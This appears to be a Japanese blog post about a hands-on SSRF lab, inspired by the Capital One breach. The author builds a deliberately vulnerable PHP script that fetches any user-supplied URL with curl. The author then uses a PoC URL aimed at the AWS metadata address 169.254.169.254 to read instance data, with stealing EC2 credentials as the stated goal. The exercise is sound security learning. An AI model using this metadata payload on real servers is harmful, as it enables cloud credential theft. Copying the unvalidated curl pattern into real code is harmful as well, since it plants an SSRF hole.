hands on SSRF(Server Side Request Forgery)


OWASP Nagoya

Little Deep Dive AWS Security
by 田中隆博 氏
AWS Solutions Architect
ラーメン好き

テーマ
Capital One で発生した情報漏洩事象を題材に、Server Side Request Forgeryを利用したクラウド上のメタ情報の窃取手法について

Capital Oneの漏洩事例

Slack Channel へ投稿

I’ve basically strapped myself with a bomb vest, f—ing dropping Capital One dox and admitting it. I wanna distribute those buckets …There’s SSNs..with full name and [date of birth].
Paige A. Thompson

・・・そして発覚
2005年から2019年にかけてクレジットカードの申請をした人など、1億600万人分の個人情報が不正アクセスをうけた事が判明。

Matt Forbes - 'Mad About You' が流れてきそうですね♪

Let's hands on

SSRF・・・何やら面白そう、なので実際試してみようと思います。

PoC(proof of concept)
目標はEC2のクレデンシャルを読み込んで、ブラウザへ不正に表示させます。・・・現時点でクレデンシャルが取れないので代わりにOpen SSH Public keyを取得しました。

http://ec2-0-0-0-0.us-east-2.compute.amazonaws.com/ssrf.php?url=http://169.254.169.254/latest/meta-data//public-keys/0/openssh-key

なお、PHPのcurlを悪用するコード元々正当な目的でcurlを利用しているコードを、SSRF攻撃のためにサーバー側で用意したいと思います。徳丸氏のブログから参照しました。

ssrf.php

<?php
  require_once('./htmlpurifier/library/HTMLPurifier.includes.php');
  $purifier = new HTMLPurifier();

  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $_GET['url']);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  $html = curl_exec($ch);
  echo $purifier->purify($html);
  1. AWS無料枠だけで構築します。こちらから申し込みます。
    AWS のプラットフォーム、製品、サービスを無料で実際に体験できます。

  2. Webサーバーはnginxとphp-fpmをインストール。
    phpinfoで動作確認します。

  3. HTMLPurifierを利用するため、Composerをインストール、バージョンを確認します。

$ composer
   ______
  / ____/___  ____ ___  ____  ____  ________  _____
 / /   / __ \/ __ `__ \/ __ \/ __ \/ ___/ _ \/ ___/
/ /___/ /_/ / / / / / / /_/ / /_/ (__  )  __/ /
\____/\____/_/ /_/ /_/ .___/\____/____/\___/_/
                    /_/
Composer version 1.9.1 2019-11-01 17:20:17

先ほどのssrf.phpをnginxのドキュメントルートへ配置したら完成です!

確認のため以下のURLを指定してホームーページを表示したところです。

http://ec2-0-0-0-0.us-east-2.compute.amazonaws.com/ssrf.php?url=https://qualias.net

AWSの仕様として実行中のインスタンスからインスタンスメタデータが取得できることでPHP curlを使えば、SSRFができることも、何となく分かりました。今日のところは時間切れです。

時間があれば一時的セキュリティ認証情報の使用も試したい。

更に技術的な方法論については、こちらに記載されています。
Riyaz Walikar / An SSRF, privileged AWS keys and the Capital One breach
Ravi Ivaturi / Capital One Security Incident & Key Lessons, so far anyway.